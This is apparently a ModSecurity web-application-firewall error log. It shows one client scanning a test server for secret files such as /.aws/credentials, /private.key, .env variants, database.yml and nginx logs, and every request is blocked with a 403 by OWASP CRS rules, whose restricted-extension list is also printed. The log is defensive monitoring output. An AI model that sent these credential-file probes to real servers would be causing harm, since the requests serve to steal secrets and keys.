[Tue May 27 03:55:10.988361 2025] [:error] [pid 3435317] [client 170.39.217.204:23660] [client 170.39.217.204] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.aws/credentials&quot;] [unique_id &quot;aDUbfn4CeMAvTJAIhKukkAAAABA&quot;]
[Tue May 27 03:55:10.988536 2025] [:error] [pid 3435317] [client 170.39.217.204:23660] [client 170.39.217.204] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.aws/credentials&quot;] [unique_id &quot;aDUbfn4CeMAvTJAIhKukkAAAABA&quot;]
[Tue May 27 03:55:11.010756 2025] [:error] [pid 3435317] [client 170.39.217.204:23660] [client 170.39.217.204] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.key&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/private.key&quot;] [unique_id &quot;aDUbf34CeMAvTJAIhKukkQAAABA&quot;]
[Tue May 27 03:55:11.011083 2025] [:error] [pid 3435317] [client 170.39.217.204:23660] [client 170.39.217.204] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/private.key&quot;] [unique_id &quot;aDUbf34CeMAvTJAIhKukkQAAABA&quot;]
[Tue May 27 03:55:11.011253 2025] [:error] [pid 3435317] [client 170.39.217.204:23660] [client 170.39.217.204] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/private.key&quot;] [unique_id &quot;aDUbf34CeMAvTJAIhKukkQAAABA&quot;]
[Tue May 27 03:55:11.033493 2025] [:error] [pid 3435317] [client 170.39.217.204:23660] [client 170.39.217.204] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.key&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/public.key&quot;] [unique_id &quot;aDUbf34CeMAvTJAIhKukkgAAABA&quot;]
[Tue May 27 03:55:11.033826 2025] [:error] [pid 3435317] [client 170.39.217.204:23660] [client 170.39.217.204] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/public.key&quot;] [unique_id &quot;aDUbf34CeMAvTJAIhKukkgAAABA&quot;]
[Tue May 27 03:55:11.033991 2025] [:error] [pid 3435317] [client 170.39.217.204:23660] [client 170.39.217.204] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/public.key&quot;] [unique_id &quot;aDUbf34CeMAvTJAIhKukkgAAABA&quot;]
[Tue May 27 03:55:11.151016 2025] [:error] [pid 3435317] [client 170.39.217.204:23660] [client 170.39.217.204] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.testing&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.testing&quot;] [unique_id &quot;aDUbf34CeMAvTJAIhKuklwAAABA&quot;]
[Tue May 27 03:55:11.151229 2025] [:error] [pid 3435317] [client 170.39.217.204:23660] [client 170.39.217.204] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.testing&quot;] [unique_id &quot;aDUbf34CeMAvTJAIhKuklwAAABA&quot;]
[Tue May 27 03:55:11.151387 2025] [:error] [pid 3435317] [client 170.39.217.204:23660] [client 170.39.217.204] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.testing&quot;] [unique_id &quot;aDUbf34CeMAvTJAIhKuklwAAABA&quot;]
[Tue May 27 03:55:11.173601 2025] [:error] [pid 3435317] [client 170.39.217.204:23660] [client 170.39.217.204] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.staging&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.staging&quot;] [unique_id &quot;aDUbf34CeMAvTJAIhKukmAAAABA&quot;]
[Tue May 27 03:55:11.173813 2025] [:error] [pid 3435317] [client 170.39.217.204:23660] [client 170.39.217.204] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.staging&quot;] [unique_id &quot;aDUbf34CeMAvTJAIhKukmAAAABA&quot;]
[Tue May 27 03:55:11.173986 2025] [:error] [pid 3435317] [client 170.39.217.204:23660] [client 170.39.217.204] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.staging&quot;] [unique_id &quot;aDUbf34CeMAvTJAIhKukmAAAABA&quot;]
[Tue May 27 03:55:11.196200 2025] [:error] [pid 3435317] [client 170.39.217.204:23660] [client 170.39.217.204] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.dev&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.dev&quot;] [unique_id &quot;aDUbf34CeMAvTJAIhKukmQAAABA&quot;]
[Tue May 27 03:55:11.196412 2025] [:error] [pid 3435317] [client 170.39.217.204:23660] [client 170.39.217.204] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.dev&quot;] [unique_id &quot;aDUbf34CeMAvTJAIhKukmQAAABA&quot;]
[Tue May 27 03:55:11.196582 2025] [:error] [pid 3435317] [client 170.39.217.204:23660] [client 170.39.217.204] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.dev&quot;] [unique_id &quot;aDUbf34CeMAvTJAIhKukmQAAABA&quot;]
[Tue May 27 03:55:11.218688 2025] [:error] [pid 3435317] [client 170.39.217.204:23660] [client 170.39.217.204] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.backup&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.backup&quot;] [unique_id &quot;aDUbf34CeMAvTJAIhKukmgAAABA&quot;]
[Tue May 27 03:55:11.218821 2025] [:error] [pid 3435317] [client 170.39.217.204:23660] [client 170.39.217.204] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.backup&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.backup&quot;] [unique_id &quot;aDUbf34CeMAvTJAIhKukmgAAABA&quot;]
[Tue May 27 03:55:11.219013 2025] [:error] [pid 3435317] [client 170.39.217.204:23660] [client 170.39.217.204] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.backup&quot;] [unique_id &quot;aDUbf34CeMAvTJAIhKukmgAAABA&quot;]
[Tue May 27 03:55:11.219159 2025] [:error] [pid 3435317] [client 170.39.217.204:23660] [client 170.39.217.204] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.backup&quot;] [unique_id &quot;aDUbf34CeMAvTJAIhKukmgAAABA&quot;]
[Tue May 27 03:55:11.241457 2025] [:error] [pid 3435317] [client 170.39.217.204:23660] [client 170.39.217.204] ModSecurity: Warning. Matched phrase &quot;database.yml&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: database.yml found within REQUEST_FILENAME: /config/database.yml&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/database.yml&quot;] [unique_id &quot;aDUbf34CeMAvTJAIhKukmwAAABA&quot;]
[Tue May 27 03:55:11.241708 2025] [:error] [pid 3435317] [client 170.39.217.204:23660] [client 170.39.217.204] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/database.yml&quot;] [unique_id &quot;aDUbf34CeMAvTJAIhKukmwAAABA&quot;]
[Tue May 27 03:55:11.241871 2025] [:error] [pid 3435317] [client 170.39.217.204:23660] [client 170.39.217.204] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/database.yml&quot;] [unique_id &quot;aDUbf34CeMAvTJAIhKukmwAAABA&quot;]
[Tue May 27 03:55:11.310346 2025] [:error] [pid 3435317] [client 170.39.217.204:23660] [client 170.39.217.204] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.log&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/var/log/nginx/access.log&quot;] [unique_id &quot;aDUbf34CeMAvTJAIhKukngAAABA&quot;]
[Tue May 27 03:55:11.310641 2025] [:error] [pid 3435317] [client 170.39.217.204:23660] [client 170.39.217.204] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/var/log/nginx/access.log&quot;] [unique_id &quot;aDUbf34CeMAvTJAIhKukngAAABA&quot;]
[Tue May 27 03:55:11.310804 2025] [:error] [pid 3435317] [client 170.39.217.204:23660] [client 170.39.217.204] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/var/log/nginx/access.log&quot;] [unique_id &quot;aDUbf34CeMAvTJAIhKukngAAABA&quot;]
[Tue May 27 03:55:11.332994 2025] [:error] [pid 3435317] [client 170.39.217.204:23660] [client 170.39.217.204] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.log&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/var/log/nginx/error.log&quot;] [unique_id &quot;aDUbf34CeMAvTJAIhKuknwAAABA&quot;]
[Tue May 27 03:55:11.333319 2025] [:error] [pid 3435317] [client 170.39.217.204:23660] [client 170.39.217.204] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/var/log/nginx/error.log&quot;] [unique_id &quot;aDUbf34CeMAvTJAIhKuknwAAABA&quot;]
[Tue May 27 03:55:11.333483 2025] [:error] [pid 3435317] [client 170.39.217.204:23660] [client 170.39.217.204] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/var/log/nginx/error.log&quot;] [unique_id &quot;aDUbf34CeMAvTJAIhKuknwAAABA&quot;]
